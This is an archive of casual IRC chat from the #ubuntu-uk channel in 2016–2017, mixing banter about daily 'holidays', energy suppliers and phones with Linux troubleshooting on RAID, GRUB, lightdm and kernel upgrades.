<zmoylan-pi> not in xubuntu :-)
<zmoylan-pi> or... google, now with less adverts than microsoft...
<diddledan> \o/
<diddledan> omg! https://blog.xamarin.com/a-xamarin-microsoft-future/
<diddledan> omg omg omg
#ubuntu-uk 2016-02-25
<ali1234> site is ded
<m0nkey_> boom. ubuntu finally on the desktop
<Azelphur> I feel like I deserve a medal for writing this, ^(?:(?P<days>\d+)[Dd]|)(?:(?P<hours>[1-9]|1[0-9]|2[0-3])[Hh]|)(?:(?P<minutes>[1-9]|[1-5][0-9])[Mm]|)(?:(?P<seconds>[1-9]|[1-5][0-9])[Ss]|)
<m0nkey_> Anyone know why lightdm would hang for about 30 seconds prior to allowing me logging in?
<diddledan> cake
<diddledan> https://www.youtube.com/watch?v=WwylBRucU7w
<mapps> hi
<diplo> Morning all
<JamesTait> Good morning all!  Happy Thursday, and happy Chocolate-Covered Peanuts Day! ð
<davmor2> JamesTait: got this one dude https://www.youtube.com/watch?v=aORAz-pzY6Q
<zmoylan-pi> those poor people with peanut allergies will never know the joy of chocolate coloured peanuts...
<brobostigon> morning boys and girls.
<davmor2> zmoylan-pi: but how else do you expect them to find out they have peanut allergies
<zmoylan-pi> how can i enjoy my choccy covered peanuts when someone is on the ground gasping for air?
<zmoylan-pi> ...and what's the polite amount of time before i can bend down and pickup their pack of choccy covered peanuts that they have no further use of?
<awilkins> You can treat peanut allergy with frequent really tiny injections of peanut
<awilkins> There are sufferers who can now eat a whole peanut without dying!
<awilkins> This may seem trivial but it means they can tolerate nut fragments that would previously have killed them.
<awilkins> And they can also start to view chocolate-covered peanuts in the same food bracket as fugu, only a lot less expensive.
<foobarry> RAID card has veeery slow writes. reads seem ok
<zmoylan-pi> writing to be sure, to be sure...
<foobarry> might have a bad battery in which case, cache might be disabled, but still shouldn't be this bad?
<awilkins> We had RAID cards with knacked batteries that really had a very significant effect
<awilkins> The dead battery showed up in kernel logs though
<awilkins> ICT were so helpful. It was on a pair of servers. We pointed out that the other card would fail in short order as well and could they just send the engineer to replace both, saving them a trip and reducing costs.
<awilkins> OF COURSE THEY COULDN'T
<foobarry> hmm, think i have to install oipenmanage
<foobarry> out of warranty
<Laney> haha
<Laney> radio 4 can't play any clips on its news report
<Laney> "so and so reports" <silence>
<diddledan> I saw popey tweet this link last night, but did anyone else see the link I pasted at 2am? https://blog.xamarin.com/a-xamarin-microsoft-future/
<diddledan> 11pm**
<\sv> hey how come spotify wont work ubuntu15.10?
<popey> https://community.spotify.com/t5/Help-Desktop-Linux-Windows-Web/Spotify-app-and-Ubuntu-15-04/td-p/1121810
<popey> probably
<popey> at a guess
<diddledan> http://www.theregister.co.uk/2016/02/25/linux_skype_outage_outrage/
<Laney> "To be a functioning member of society today, Skype is pretty much unavoidable"
 * Laney goes back to scratching symbols in the dirt
<diddledan> yeah, that's a bit of an overstatement methinks
<popey> hyperbole? from el reg?
<popey> no wai
<popey> <owl pic>
<diddledan> popey: INORITE
<diddledan> I really cannot read hyperbole without forming the word sounds as "hyper" and "bowl"
<diddledan> https://twitter.com/hmemcpy/status/702577902865551360
<awilkins> Functioning member of the tech press, maybe
<awilkins> We don't use Skype for our corporate meetings, we use Zoom.us
<awilkins> Even that's bullshit when every major browser now supports WebRTC
<Laney> it was a quote from reddit
<awilkins> Hahahaha
<Laney> so not prone to exaggeration
<Laney> :)
<awilkins> Oh, sorry for the minor swear
<awilkins> Thought this was that *other* channel
<m0nkey_> omg. this can't be happening
<m0nkey_> i'm actually beginning to grasp regex
<diddledan> :-o
<diddledan> who are you and what have you done to m0nkey_ ?!
<m0nkey_> i've been doing some regex stuff in python this time, and i'll be. i'm using regex like a pro :(
<diddledan> \o/
<m0nkey_> damn capture groups
<diddledan> I only really understand perl-compatible style and even then there are many things that confuse me or I just plain can't grok
<awilkins> Yeah, the main thing that confounds me about regex is all the different implementaitons
<m0nkey_> well, perl and python are very similar
 * awilkins learned on Java and .NET regex :-)
<m0nkey_> this tool is great for testing regex
<m0nkey_> http://www.regexpal.com/
<diddledan> it seems nobody invented "regex" and had people use it, but the concept was theoretical and several interpretations appeared with zero thought about what other folk were doing
<m0nkey_> lol
<m0nkey_> just pushed my commit to our git server
<m0nkey_> commit text: More regex please!
<diddledan> it would have been much more appropriate for a standard to be incepted by someone like ECMA (because they're obviously the most appropriate place for software standards :-p)
<awilkins> Same for Markdown
<diddledan> aye
<awilkins> So many different infuriating implementaitons
<awilkins> I kinda like Textile better anyway
<diddledan> with markdown it's often really subtle differences that glare at you when you hit them
<awilkins> I've even considered making my own Markdown parser as a plugin for Word though
<awilkins> Because Pandoc is *terrible* at Word
<awilkins> And docx is so horrible that it must be easier to teach Word to do Markdown than it is to teach anything else to do docx
<diddledan> *cough* pdf
<diddledan> pdf is an evil concoction apparently
<diddledan> I read that pdf is kinda like a Frankenstein monster where data structures are all different for various features so you need a bespoke parser for every feature you want to implement in your viewer or editor
<diddledan> zero consistency
<awilkins> BUT IT'S A STANDARD.
<awilkins> LIKE DOCX.
<awilkins> Oh.
<awilkins> Even Word doesn't write standard DOCX
<diddledan> o_O
<diddledan> joy
<awilkins> Unless you tell it to. And then it probably breaks.
<awilkins> DOCX is pretty much a direct XML serialization of all the crufty old C structs in Office.
<diddledan> odf support is bad. word is supposed to support it but even if you save in word to odf it still doesn't look the same when you use that file in libreoffice
<davmor2> diddledan: they can't get their own format correct do you really think they would get someone elses correct?
<diddledan> I think the only reason MS put odf support into word was because of governments like the british one that are mandating open document usage
<davmor2> diddledan: correct France, Germany and UK
<diddledan> the holy trinity
<awilkins> The only reason they made up MOO-XML in the first place was because of that
 * diddledan imagines carrie-ann moss in his mind
<awilkins> I mean Microsoft Office Open XML? .... scared of Open Office XML much?
<celesteh> Hello, I'm trying to build something and it says I need to cmake -DCMAKE_PREFIX_PATH=/path/to/qt5 . I have qt5 installed, just via apt-get. How do I find out what path to give this?
<diddledan> it'll be in /usr/lib
<celesteh> thank you diddledan
<m0nkey_> diddledan, tell me why lightdm hangs on boot?
<m0nkey_> my keyboard/mouse freezes
<m0nkey_> before you ask, not tried 15.10
<diddledan> pas d'idÃ©e
<m0nkey_> And nothing in the logs
<m0nkey_> me non plus
<celesteh> Alas,  /usr/lib is not the answer. Cmake says it can't find a configuration file for Qt5WebKit. I definitely have that package installed and the dev version.
<m0nkey_> make sure you install the -dev package
<celesteh> This is the output I'm getting. http://pastebin.com/bcYu2psb I do have deve versions installed
<gebbione_> hi all, an hardrive of mine feels slow compared to the past
<gebbione_> is there any way to measure its performance >#
<diddledan> hdparm I think
<diddledan> I haven't ever done it tho
<zmoylan-pi> is there anything to access the smart doohickey?
<zmoylan-pi> http://www.techrepublic.com/blog/linux-and-open-source/using-smartctl-to-get-smart-status-information-on-your-hard-drives/
<gebbione_> ok i tried now
<gebbione_> it looks like it is running at less than half its official speed
<gebbione_> is that possible for SATA?
<Adriannom> Hi, I'm using AntiMicro and once two "keys" are held down, pressing another won't register. Any idea if this is a hard limit?
<Adriannom> Nevermind, got it :)
#ubuntu-uk 2016-02-26
<mapps> hola
<mapps> ;]
<MooDoo> morning all
<diplo> Morning all
<zmoylan-pi> thank crunchie it's friday
<_Sponge> Mark's back on the tele  , http://linux.softpedia.com/blog/watch-mark-shuttleworth-talks-ubuntu-snappy-android-and-arm-at-mwc-2016-501015.shtml#sgal_0
<davmor2> Morning all
<JamesTait> Good morning all!  Happy Friday, and happy For Peteâs Sake Day! ð
<awilkins> Oh, for Pete's Sake, stop with the "day" thing.    ;-)
<JamesTait> I wonder who Pete is/was.
<zmoylan-pi> well we know it wasn't gordon bennett :-)
<zmoylan-pi> ah, it's a polite replacement for god  http://www.grammarphobia.com/blog/2011/02/pete.html
<brobostigon> morning boys and girls.
<MooDoo> howdy
<brobostigon> hi MooDoo
<MooDoo> :)
<brobostigon> :)
<davmor2> JamesTait: I'll just leave this here https://www.youtube.com/watch?v=GaR0MXzBJo4
<davmor2> diddledan: ^ I think that is about right for today don't you :)
<MooDoo> oooo this is cool davmor2
<davmor2> MooDoo: well it was that or pete townshend and to be honest for a Friday this is better than the Who but only for today, and musically come on he is the first Pete that springs to mind right :D
<MooDoo> davmor2: :)
<diddledan> davmor2, I think that's an awesome performance
<davmor2> diddledan: it is :)
<mapps> hmm
<mapps> Fri Feb 26 21:40:31 2016 read UDPv4: Connection reset by peer (WSAECONNRESET) (code=10054)
<mapps> what have i done this time:D
<mapps> cant connect to my vpn
<mapps> aha i know
<diddledan> achievement unlocked: 50k packages in debian: https://twitter.com/debian/status/703345964636045320
#ubuntu-uk 2016-02-27
<brobostigon> morning boys and girls.
<diddledan> https://www.youtube.com/watch?v=NX8y9T1MaP4
#ubuntu-uk 2016-02-28
<daftykins> ebay is suggesting i check out - http://www.ebay.co.uk/itm/WORKHOUSE-TO-PRISON-RECORDS-1874-FOR-ENGLAND-WALES/360332762554
<mappps> hi all
<mapps> hi zmoylan-pi
<brobostigon> morning boys and girls.
<daftykins> mmm just picked up this from a local trade site for Â£165 - https://www.dropbox.com/s/1gxdxgkd0d4773a/IMG_20160228_151927.jpg?dl=0
<daftykins> 2560x1440 25" ^^
<daftykins> ^_^ too
<penguin42> daftykins: Nice!
<daftykins> reselling to a client probably, but having a play
<penguin42> daftykins: What model?
<daftykins> U2515H
<penguin42> oh yeh, they're listing at about 250
<daftykins> *nod* guy bought it in November
#ubuntu-uk 2017-02-20
<daftykins> i'm sure these chocolate hobnobs are smaller in diameter...
<zmoylan-pi> i'm sure the daily mail would expose such a thing
<diplo> Morning all
<davmor2> Morning all
<brobostigon> morning boys and girls.
<JamesTait> Good morning all! Happy Monday, and happy Love Your Pet Day! ð
<zmoylan-pi> when's hate your pet day?
<JamesTait> Every day for some people. ð
<JamesTait> It does seem like a pretty strange holiday though.
<JamesTait> It's also Handcuffs Day!
<zmoylan-pi> which is not weird at all...
<zmoylan-pi> no love for leg manacles?
<davmor2> JamesTait: I think this covers all the words https://www.youtube.com/watch?v=InBiaRBUjUs
 * popey shakes fist at decorator unplugging router
<zmoylan-pi> you don't have a rasp pi constantly checking the status of internet and starting a warning siren when net is down? :-)
<popey> no, I have a son sat next to me yelling that youtube no longer works :)
<popey> which amounts to much the same thing, but requires more marshmallows to keep running
<diplo> hah +1 that popey, my kids would know the internet was down before me
<Seeker`> I know the internet is down because my pancreas stops working
<foobarry> if i book a smart meter upgrade but change my supplier i wonder what will happen
<zmoylan-pi> they'll fit 2 smart meters which will fight for dominance ::puts on trek fighting music::
<TwistedLucidity> foobarry: It reverts to being a dumb meter, but can still be attacked
<TwistedLucidity> At this time, there is no compelling reason to get a smart meter.
<foobarry> attacked how?
<zmoylan-pi> has anyone hacked them to download torrents on yet? :-P
<TwistedLucidity> foobarry: Well, there's basic hacking just to annoy people. Then there's making them explode - https://www.theregister.co.uk/2017/01/04/smart_metres_ccc/
<TwistedLucidity> Until there are some guarantees as to security, updates and transferring between suppliers; I wouldn't even consider them.
<TwistedLucidity> And by "security" I include not leaking usage data as that could be used to determine if anyone is home.
<foobarry> thx
<foobarry> need to find a new supplier too :(
<TwistedLucidity> I would take the "explode" thing with a pinch of salt, but they are far from ready for prime-time.
<TwistedLucidity> foobarry: Ovo. Cheap and you can earn interest on any credit balance.
<foobarry> energy costs seem to be 15% higher this year
<TwistedLucidity> Scottish Power are cheap, but their customer service is abysmal and I simply cannot recommend them.
<foobarry> ovo look expensive
<foobarry> Â£69 pm
<foobarry> currently pay Â£52
<davmor2> foobarry: are you pay as you go or monthly payment?  Ovo only do anything decent on pay as you go and that is only moderately better than some pay as you go providers
<foobarry> monthly
<davmor2> foobarry: then you are most likely better off with a major brand but have a look at uswitch
<davmor2> TwistedLucidity: you can't have cheap and customer services
<foobarry> going with sainsburys again
<foobarry> its a joke
<foobarry> sainsburys->bg->sainsburys
<foobarry> sainsburys is BG anyway
<TwistedLucidity> We pay around Â£80pcm; but the two of us work from home and we have a bit of credit.
<TwistedLucidity> As in, balance is overpaid.
<davmor2> foobarry: sainsbury's are just a reseller for scottish power :)
<TwistedLucidity> Also, living in a single-brick walled 1930s council house means heat loss is an issue.
<foobarry> british gas reseller
<zmoylan-pi> i just got my 2 monthly leccy bill for a really cold winter were i used a fair bit of power for heat... â¬45pm
<foobarry> Company info: Robin Hood Energy is a not-for-profit supplier launched by Nottingham City Council in September 2015. It offers three tariffs nationwide across fixed, variable and prepay.
<foobarry>  Sainsbury's Energy is operated by British Gas. If you have a British Gas smart meter youâll be able to get the deal, but you'll lose access to the 'MyEnergy Live' service and any online smart meter functionality.
<diddledan> morning
<SuperMatt> hola
<DJones> Odd question, but does anybody know of any laptops with a white keyboard?  My mums looking for a new laptop because her old one won't connect to the internet (I know all thats needed is a reinstall of Win 10, or Ubuntu etc), but she wants a new laptop,  so far I think I've found a HP and an Asus
<DJones> http://www.pcworld.co.uk/gbuk/computing/laptops/laptops/asus-x541sa-15-6-laptop-white-office-365-personal-livesafe-unlimited-2016-unlimited-for-1-year-b0420359-pdt.html
<DJones> http://www.pcworld.co.uk/gbuk/computing/laptops/laptops/hp-pavilion-15-au072sa-15-6-laptop-white-10146645-pdt.html
<DJones> She's looking to pay up to Â£350
<DJones> HP has the better spec, but given that she only uses email, googletalk via pidgin, a web browser for facebook/twitter, not much point in paying the extra Â£100 for the HP
<DJones> Ideally something she could go and look in a shop as well
<DJones> The white keyboard is a requirement, even black backlit keyboards don't get her approval
<DJones> I think she'll stretch the budget for the HP, but maybe not necessary
<zmoylan-pi> yeah, black keyboards are cool till you try to hack in a balaclava and a hoody only lit by the light of the screen at 2am... :-)
<DJones> Been there, done that (ish), was sat in a church service having to modify powerpoint && video presentations, somebody turned the lights out because it was a candle lit service & needed the church to be dark
<DJones> Just glad I had a backlit keyboard to make changes
<zmoylan-pi> night vision goggles for typing are totally overkill... :-P
<diddledan> airpods are dogpoof https://twitter.com/X15/status/833756723781496832
<zmoylan-pi> get back to me after they've passed through the digestive tract of said dog... :-P
<diddledan> I'd rather not try them after that
<zmoylan-pi> that's when you sell them on ebay and buy new ones...
<zmoylan-pi> or use the money to buy a phone with a headphone socket
 * zmoylan-pi offers diddledan a real nokia dumbphone :-P
<diddledan> omg, I have many people I talk to online about computer things: https://www.theregister.co.uk/2017/02/20/is_your_child_a_hacker_liverpudlian_parents_handed_cyber_checklist
<diddledan> am I a cyb0r criminal?!
<zmoylan-pi> do you own a cool balaclava? :-P https://www.youtube.com/watch?v=vvjMed6Wlug
<diddledan> this is a good response to the list: https://twitter.com/defcon/status/833806391965921280
<zmoylan-pi> i might be able to get you a pager for when the police raid your gaff... :-P
<diddledan> \o/
<zmoylan-pi> i saw one in use about a year, maybe 2 ago... i was stunned that there were pagers still been used in anger
<zmoylan-pi> seems a few private companies prefer them
<diddledan> the local asda uses them iirc
<zmoylan-pi> so a few transmitters scattered about the country covers the island
<diddledan> the supervisor team on the checkouts use them to get alerts when a cashier wants their nose wiped :-p
<zmoylan-pi> funny part was that the pagers were the same motorolas i had at work in 90s
<diddledan> yup
<diddledan> not changed one bit
<zmoylan-pi> indestructable.  even compared to a nokia
<zmoylan-pi> drop in one aa battery every few months.  carry a spare battery in the pager at same time.
<daftykins> so that's how you can tell, they wear a hood even when indoors!
<diddledan> ffaster disks! https://www.theregister.co.uk/2017/02/20/linux_4_10_released/
<diddledan> the kernel just spins them a 6000 rpm instead of the usual 5400
<zmoylan-pi> have you never seen a daily mail story on hacking.  always a balaclava wearing scoundrel at night hunched over a laptop... too cheap to put a band aid over the laptop camera i suspect
<daftykins> and more for the 7,200 and 10,000? ;)
<diddledan> yup
<diddledan> the 7200s go at 7750 and the 10000 go at 11000
 * zmoylan-pi remebers over formatting floppy drives and the fun that gave us...
<daftykins> zmoylan-pi: are you excited about the new Nokia 3310?
<zmoylan-pi> it depends on the spec.  must 1) be indestructable as old 3310 and 2) handle java apps plus 3) battery life measured in seasons yada yada yada... :-)
<diddledan> thos java apps have to be MIDP and not more featurefull implementations
<diddledan> has to ONLY be compatible with turn of the minellium mobile apps
<zmoylan-pi> but if they made one with bt and allowed say a rasp pi to use it as a data link it would make great data component of a rasp pi pda/laptop frankenputer
<diddledan> 9600 bps
<diddledan> it better not have 3G capability!
<zmoylan-pi> but they might do a new mini/new vw beetle and make a bad implementation if the marketing department is involved...
<zmoylan-pi> it'll have to do 3g as 2g is been switched off in lots of places
<daftykins> blech java
<zmoylan-pi> blech android :-)
<zmoylan-pi> blech ios
<zmoylan-pi> blech is there any one else? :-)
<daftykins> nah, thankfully most have given up
<diddledan> I wonder if zebbedy zebra will include the 4.10 kernel
<zmoylan-pi> i'm sure ms has a few billion to try again...
<zmoylan-pi> and tizen is allegedly in use in some parts of the world
<diddledan> haha
<daftykins> think it's in some TVs yeah
<diddledan> you said tizen!
<daftykins> as is FirefoxOS despite being dead
<daftykins> tizer!
<zmoylan-pi> i believe in phones too
<diddledan> tizen was invented as a drunken joke
<diddledan> the problem is the marketing guy didn't realise
<zmoylan-pi> they'll never make it to europe as well  they'd have to customise for 20+ languages to see a few 1000
<daftykins> for which? dunno if phone Tizen has made it out of Korea
<zmoylan-pi> i bought a oth usb drive over weekend.  i was going to buy one for a gamer mates birthday but they use ios and 16gb cost â¬60 whereas the same for android costs â¬13... couldn't justify that level of gouging
<zmoylan-pi> *otg
<daftykins> just need an adapter and any drive surely
<zmoylan-pi> apple do like their propietary connectors and you need an ios app to access it.  from the ones i've tried.  locked to the hardware
<zmoylan-pi> android as horrible as it is will talk to anything if you plug it in. :-)
<daftykins> last time you were moaning about Android, it was an ancient version
<daftykins> works for me!
<zmoylan-pi> problem with android is that over a year old is an ancient version
<daftykins> same for every mobile OS.
<zmoylan-pi> i spotted an ancient mint condition e63 in a shop window for â¬39.  works great. :-) from 2009...
<daftykins> security through obscurity isn't any at all
<zmoylan-pi> it's secure because symbian was designed from scratch to disallow everything. something that was only added to android after it was out a few years
<zmoylan-pi> but you are right about obscurity not been secure.
<daftykins> you're coming dangerously close to sounding like an XP user saying "ah it's fine"
<zmoylan-pi> well.... i did run an email server on win95 for 5 years or so... :-)
<zmoylan-pi> ran for years without an issue... replaced with exchange which needed rebooting once per week on average...
<zmoylan-pi> and in ireland, it's not 'fine' it's 'grand' :-P
<daftykins> yeah i know some Irish lingo
<diddledan> to be sure
<daftykins> x2!
<diddledan> to to sleep
<zmoylan-pi> o/ sleep well
<daftykins> whaaaaat
<daftykins> diddledan: have you become normal!?
<zmoylan-pi> it has become quiet here at night... i have to amuse myself practicing my klingon battle chants at 3am
<daftykins> ah you need more operas on tape
<zmoylan-pi> 8 track for maximum hipstering
#ubuntu-uk 2017-02-21
<mapps> yo
<ali1234> oh god who wrote this: https://insights.ubuntu.com/2017/02/20/iota-iot-revolutionized-with-a-ledger/
<davmor2> Morning all
<SebthreeBQM10HD> hi
<SebthreeBQM10HD> hi
<brobostigon> morning boys and girls.
<JamesTait> Good morning all! Happy Tuesday, and happy International Mother Language Day! ð
<zmoylan-pi> gort klatu barada niktu :-)
<JamesTait> Bless you, zmoylan-pi!
<zmoylan-pi> i thought it would be more recognisable than conversational klingon... :-P
<davmor2> JamesTait: Let's do it for England....ENGERLAND is the only one I can think of but I'm at the office and can't find it on youtube and can't be asked to look properly either :D
<JamesTait> davmor2, you mean to say... I beat you today? ð
<davmor2> nah I'll find it after :P
<nucc1> hi, i tried to install ubuntu (dualboot) on my PC which has 3 SSds of various sizes in it. I made about 80GB of space on what is listed as /dev/sdc (which is actually my main boot drive in windows). However, after I install, Grub bootloader always fails to install. I wonder if there is some logic I'm missing.
<foobarry> after the new LTS kernel upgrade, i get no keyboard
<foobarry> not even via usb
<foobarry> even booting back into old kernel :|
<foobarry> unless i'm in recovery mode...
<diddledan> https://twitter.com/stowball/status/833879845453000704
<diddledan> ^^ how below the fold works
<knightwise> evenin peeps
<foobarry> turns out installing the new hwe stack didn't include the libinput or synaptics drivers , and actualyl removed them :Z
<zmoylan-pi> now you just need to reinstall them from scratch at command line... without the keyboard... :-P
<foobarry> booting in recovery mode helped a lot
<foobarry> still took a while to figure out
<foobarry> when i started lightdm/X it stopped working, couldn't even ctrl-alt-f1
<davmor2> diddledan: aaaahhhhh my legs
<zmoylan-pi> don't you feel smarter for having found the problem?
<foobarry> sort of. its my job to fix stuff every day so i don't base my self esteem on it :P
<nucc1> don't you feel sillier for it taking you so long? :)
<foobarry> feel silly for following ubuntu wiki
<diddledan> the wiki is never updated
<foobarry> https://wiki.ubuntu.com/Kernel/LTSEnablementStack
<nucc1> meanwhile, i found that my grub is failing to install due to my system being in UEFI mode...
<foobarry> ^^ supposed to be current
<foobarry> The 16.04.2 and newer point releases will ship with an updated kernel and X stack by default for the desktop. Server installations will default to the GA kernel and provide the enablement kernel as optional.
<zmoylan-pi> nah wasting a time wondering why the power saver kept turning on only to realise you hadn't turned on the power strip it was plugged into... :-P
<foobarry> Rolling HWE Stacks for 16.04
<diddledan> musical unicorn! https://twitter.com/andrewismusic/status/834049087062339584
<diddledan> Backups didn't work https://usercontent.irccloud-cdn.com/file/PWtzBfZq/C5NeJNHVYAA9M6z.jpg
<zmoylan-pi> what memory loss?
<diddledan> lol
<zmoylan-pi> but the best remains the 4 word entry... 'oh no, not again'
<SebthreeBQM10HD> hi
<diddledan> should I buy inferno, and/or jack reacher never go back or neither?
<ali1234> i heard inferno is really bad even compared to the old ones
<diddledan> ditto
#ubuntu-uk 2017-02-22
<diddledan> new hard thingy coming in the morro
<diddledan> 3TeeBees
<diddledan> it's a replacement so I don't actually benefit from getting 3 more because I'm replacing half of a mirrored pair
<daftykins> ;)
<daftykins> you get to watch it rebuild!
<diddledan> das blinkenlights
<daftykins> https://imgur.com/gallery/Qz4bU
<daftykins> ZOINKS!
<diplo> Morning all
<SuperMatt> morning
<brobostigon> morning boys and girls.
<JamesTait> Good morning all! Happy Wednesday, and happy World Thinking Day! ð
<diddledan> merign
<diddledan> mernign8
<diddledan> I wonder when my disk is gonna arrive....
<diddledan> probably last thing this afternoon >.<
<diddledan> I has a disk (unless it's something else.. haven't opened the box yet)
<diddledan> das blinkenlight ist blinken flashy!
<diddledan> 6 hours to completely resilver
<andylockran> howdy guys :)
<andylockran> Finally got a home computer back :)
<andylockran> Old school Dell Optiplex 980 SFF
<andylockran> Got a eSata cable to connect up my old ubuntu SSD coming tomorrow
<zmoylan-pi> old school would be a bbc micro connected to irc via a rasp pi :-P
<zmoylan-pi> or... would that be vintage now...
<Laney> :((((((((((((((((((((((((((((((
<Laney> got loads of sprouts to peel
<Laney> worst kitchen job
<zmoylan-pi> see... if you learned morse you could stay on irc AND peel sprouts as you tap out morse by foot... :-)
<diddledan> zmoylan-pi: I want to run a website off a BBC
<diddledan> zmoylan-pi: the best retro I can hope for is to hook-up my brother's old AMSTRAD PC1640 with an 8bit ISA network card (if such things exist) to run a site off
<diddledan> I've heard of people running Commodore 64 with network thingies
<zmoylan-pi> connecting them to internet with network cards with nore cpu than the c64 :-)
<diddledan> lol
<zmoylan-pi> 8bit network isa cards... i suspect i know were there are a few of those lying about...
<zmoylan-pi> co ax though instead of cat 5
<diddledan> coax don't count
<diddledan> my secondary school had a network using coax
<zmoylan-pi> don't diss coax... legen tells of a major computer company in uk that in late 90s had one massive lenght of coax connecting many many computers in their hq without grief
<diddledan> so quantum entanglement.. could we conceivably use a group of entangled particles which are distributed around the world at key internet exchanges to remove the large distance + speed of light latency issue between continents, I wonder
<zmoylan-pi> only if you can program working thread support in vb.net :-P
<diddledan> i.e. London telehouse has one half of the entangled pairs and New York has the other so that when you want to communicate across the atlantic you encode your message onto the London side and then read the message off in New York before putting onto normal optical cables
<diddledan> zmoylan-pi: I should program a User Interface in Visual Basic to track his IP
<diddledan> https://www.youtube.com/watch?v=hkDD03yeLnU
<zmoylan-pi> a moment in tv infamy...
<diddledan> I've not seen this one before - it's Xander from Buffy! https://www.youtube.com/watch?v=DNLB7bFA_U4
<zmoylan-pi> my favourite bit of computer screen interaction on tv will always remain... https://www.youtube.com/watch?v=fYAlB1Kxayc taranshula...
<diddledan> that's a classic
<zmoylan-pi> it remains beautifully timeless
<diddledan> daftykins: what did you say I should do with this WD Greenie that I suspect to be wonky? Write zeroes all over it?
<m0nkey_> Question for the Brits... When I come over to the UK, is it still easy to pickup a pre-paid SIM card? Do they still give them out for free? Can I pick one up at Gatwick airport?
<popey> pretty sure you can get them most places now
<popey> super markets etc
<diddledan> I think they're still available everywhere
<diddledan> can't say I've looked lately tho
<m0nkey_> I got my old Nexus 4 to use while I'm over there
<m0nkey_> Otherwise I've got to pay $50 just to get my old Note 4 SIM unlocked
<zmoylan-pi> $50 would probably get you a mifi with a sim in tescos... wifi all the way :-)
<m0nkey_> That I'll be happy with
<m0nkey_> Then I just use my VoIP provider
<zmoylan-pi> but a sim on prepay and using data should still be cheaper
<zmoylan-pi> but me been a tightfisted git would use an offline map and opera browser as it compresses data
<daftykins> diddledan: yeah zero that sucker
<daftykins> m0nkey_: how long until you arrive? you can sign up with giffgaff and they post them to Canada so you're ready to rock on landing
<m0nkey_> cool
<m0nkey_> I'm not coming until August. So got some time to go :)
<daftykins> winner
<m0nkey_> What?! They charge 2p/min to call Canada from the UK?!
<m0nkey_> We are royally ripped off over here
<m0nkey_> Costs $1/min to call the UK.
<zmoylan-pi> that's so you get the bestest most fantastic service :-P
<m0nkey_> A basic plan on a Tier 1 provider will cost $75.
<daftykins> once you have an internet connection, why would you still want to pick up a phone?
<zmoylan-pi> i'm on tesco prepay in ireland.  i spend â¬5 every 2-3 months for credit
<m0nkey_> daftykins, wont always have an internet connection, plan to go out a lot and it's mostly so we can stay in touch with my family while i'm there
<zmoylan-pi> then have them send emails, tweets or whatever and get back the same way on free wifi when you can find it...
<daftykins> right so get on wifi in public and use any number of free alternatives, or just accept you have to be home and arrange times to talk to folks
<daftykins> acting like the high rates are the only way to do it seems odd
<awilkins> Nexus 4 4tw
<awilkins> (old? mine is still my daily driver....)
<daftykins> with non-stock OS i take it, since it's been abandoned for years :)
<m0nkey_> i still like my old N4
<zmoylan-pi> it does the job why change it
<zmoylan-pi> if ancient phone is good enough for american president... :-P
<daftykins> because of many glaring known security vulnerabilities
<daftykins> you keep trying to apply old dumbphone preferences and familiarities to a vastly changed market
<zmoylan-pi> as long as you don't connect to the internet, don't take calls and epoxy the 5.25" floppy drive... :-P
<m0nkey_> What about one of these open firmwares? Anything for the N4?
<zmoylan-pi> oh and deffo disable the sms abilities
<daftykins> sure, but you'll often have to sacrifice call, touch or camera quality
<daftykins> alternative ROMs just don't get the focus stock ones do
<m0nkey_> what about that cyanogenmod replacement? .. what was it called?
<m0nkey_> line... something
<daftykins> it's not a replacement, it's the new name for it since they can't keep calling it cyanogenmod anymore
<daftykins> same stuff, new label
<zmoylan-pi> lineage os
<awilkins> Using Chroma Marshmallow on mine
<awilkins> I Lineage-OSed my 2012 Nexus 7
<awilkins> It's pretty nice but a bit crashy (unofficial build so I guess the device drivers could be a bit... off)
<m0nkey_> What about this Ubuntu Phone, would that work? lol
<zmoylan-pi> but it's still better than running it's default os now security wise
<awilkins> I think there's an Ubuntu Mobile build (maybe an old one) for Nexus 7 2012
<awilkins> Dunno about Nexus 4
<m0nkey_> There is a build for N4
<awilkins> Reluctant for the same reason I eventually abandoned my N900
<awilkins> It's really nice and cool n'all to have a Free Software phone
<awilkins> But you just can't get all the apps you want
<m0nkey_> https://developer.ubuntu.com/en/phone/devices/devices/
<m0nkey_> All i need to do is make calls, text and maybe a few emails
<awilkins> I use Google Maps, a lot
<awilkins> Navigation is the killer phone app for me
<zmoylan-pi> i do have a java app to access googlemaps including streetview for dumbphone but i prefer offline map on android tablet.
<daftykins> lolbuntu
<daftykins> m0nkey_: don't screw with that works before travelling! :D that's always a bad move
<zmoylan-pi> ^this
<zmoylan-pi> last minute changes follow the 90 90 rule.  the first 90% of the task takes 90% of the time, the last 10% takes the other 90%
<daftykins> granted you've got some months, but meh
<zmoylan-pi> just more time to spend searching ancient forums for fix to a problem you just installed :-)
<zmoylan-pi> finding a forum covering months with the exact problem and then a final 'sorted it' message with no explanation how...
<daftykins> i sometimes hop on IRC and see someone has come in with a problem then leaves saying it's sorted, with no answer
<zmoylan-pi> i mean sometimes it was understandable.  i remember in the early days of linux you didn't push people who got tv cards working on linux as they often had a look on their faces like they'd stared into the abyss and survived... :-)
<m0nkey_> I'll most likely just get my Note4 SIM unlocked before I go.
 * awilkins remembers writing kernel patches for his TV card
 * awilkins twitches
<m0nkey_> But I am totally curious about Ubuntu on the N4
<daftykins> weirdos wanting TV anywhere near a PC :D
<m0nkey_> I need a Ubuntu machine.
<daftykins> you have a very odd definition of 'need', sir
<m0nkey_> I had to give my Ubuntu laptop back to the wife and put Windows back on it.
<zmoylan-pi> and even better was when they took a working tv card setup and crossed a small puny border and had to start all over again...
 * awilkins remembers building custom kernels for his TV card.... on Gentoo
 * awilkins twitches
<m0nkey_> I remember installing Gentoo 0.1
<daftykins> awilkins: it's ok you've reformed from your ricer ways
<zmoylan-pi> a usb drive with a live distro on it for linux needs on windows hardware
<m0nkey_> that was an absolute bitch
<daftykins> right which you can't update the kernel on ;)
<awilkins> Gentoo was good for 1 thing - really teaches you shitloads about Unix if you do a Stage 1 install
<m0nkey_> Meh, it really didn't do that so much.
<zmoylan-pi> and making sure you got your monies worth out of the faster cpu you bought :-P
<awilkins> daftykins, I've written kernel patches for Ubuntu too though
<m0nkey_> It pretty much taught you how to compile a kernel, everything else was bootstrapped.
<m0nkey_> If you want to learn Linux, I recommend Linux from Scratch.
<m0nkey_> I did it once.
<awilkins> Not sure it was around back then
<m0nkey_> Be prepared to spend a few days on that.
<daftykins> zmoylan-pi: Linux doesn't give you that on a laptop :P
<awilkins> I must have spent WEEKS watching compiler scrollback :-)
